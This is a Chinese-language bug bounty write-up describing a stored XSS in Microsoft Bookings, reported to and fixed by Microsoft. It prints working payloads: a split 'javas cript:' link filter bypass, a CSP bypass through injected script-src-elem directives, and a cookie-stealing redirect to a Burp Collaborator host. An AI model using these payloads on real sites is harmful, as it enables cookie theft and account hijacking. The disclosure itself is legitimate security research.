记一次Microsoft服务预订中的存储型XSS漏洞挖掘
一个美好的一天，我在我的办公室工作，我收到了同事的日历邀请。在查看电子邮件时，我发现了 Microsoft 的新服务预订（实际上是旧的，但对我来说是新的）。Microsoft booking 允许任何人预订服务/日历时段。
此应用程序有两个界面，一个是内部界面，另一个是面向公众的服务页面。我决定深入检查这个应用程序。我去内部预订页面开始新的预订，而预订服务发现了一个参数消息/注释。
我尝试插入各种 XSS payload 来触发 xss 但没有成功。
经分析，发现应用程序允许用户插入链接或 标签。
现在我的注意力转移到了这个标签上。我使用谷歌为我的攻击向量找到了完美的有效载荷，我发现可以使用 href 值利用 ancher 标签。
应用程序有各种保护机制来防止脚本的执行。但是当我将 javascript word 分解为 javas cript 应用程序时，它接受了这个payload。
现在，当用户单击预订消息中提供的链接时，此payload将被执行。我非常兴奋。
<a href="javas cript:alert('document.domain')">XSSa>
但是当我将payload更新为
<a href=”javas cript:alert(document.cookie)” >Testing.com a>
我收到带有 cookie 未定义消息的弹出消息，这意味着应用程序具有 csp 保护。
所以我们更新了我们的有效负载以绕过 csp 保护。注入使用script-src-elemCSP 中的指令。该指令允许您仅定位script元素。使用此指令，您可以覆盖现有script-src规则，使您能够注入unsafe-inline，从而允许您使用内联脚本。
<a href=”javas cript:alert(document.cookie)”&token=;script-src-elem%20%27unsafe-inline%27 >Testing.com a>
令我惊讶的是，我能够使用 xss 获取 cookie。现在我想将这些 cookie 传递到我的服务器。所以我启动了 burp collaborator 并将payload更新为
document .location=’http://l4q4dgmomxzkw6i13q5essmojfp6hu6.burpcollaborator.net/cookiestealer.php?c='+document.cookie"&token=;script-src-elem%20%27unsafe-inline%27 >Testing.com
在这里，我在一个标签中使用了 document.location，该标签将用户重定向到另一个页面并共享 cookie。
现在我想提交此错误，但由于我是来自同一组织的经过身份验证的用户，因此影响很小。
因此，我尝试从公开的服务发起相同的攻击，并且无需身份验证即可执行相同的攻击。
现在，由于我是未经身份验证的用户/攻击者，严重性从低/中到高。
我很快将这个错误提交给微软团队，微软的人很快就解决了这个问题，是的，他们因为这个漏洞奖励了我几千美金的漏洞赏金。
感谢 Microsoft 安全团队在修复此问题期间提供的大力帮助。
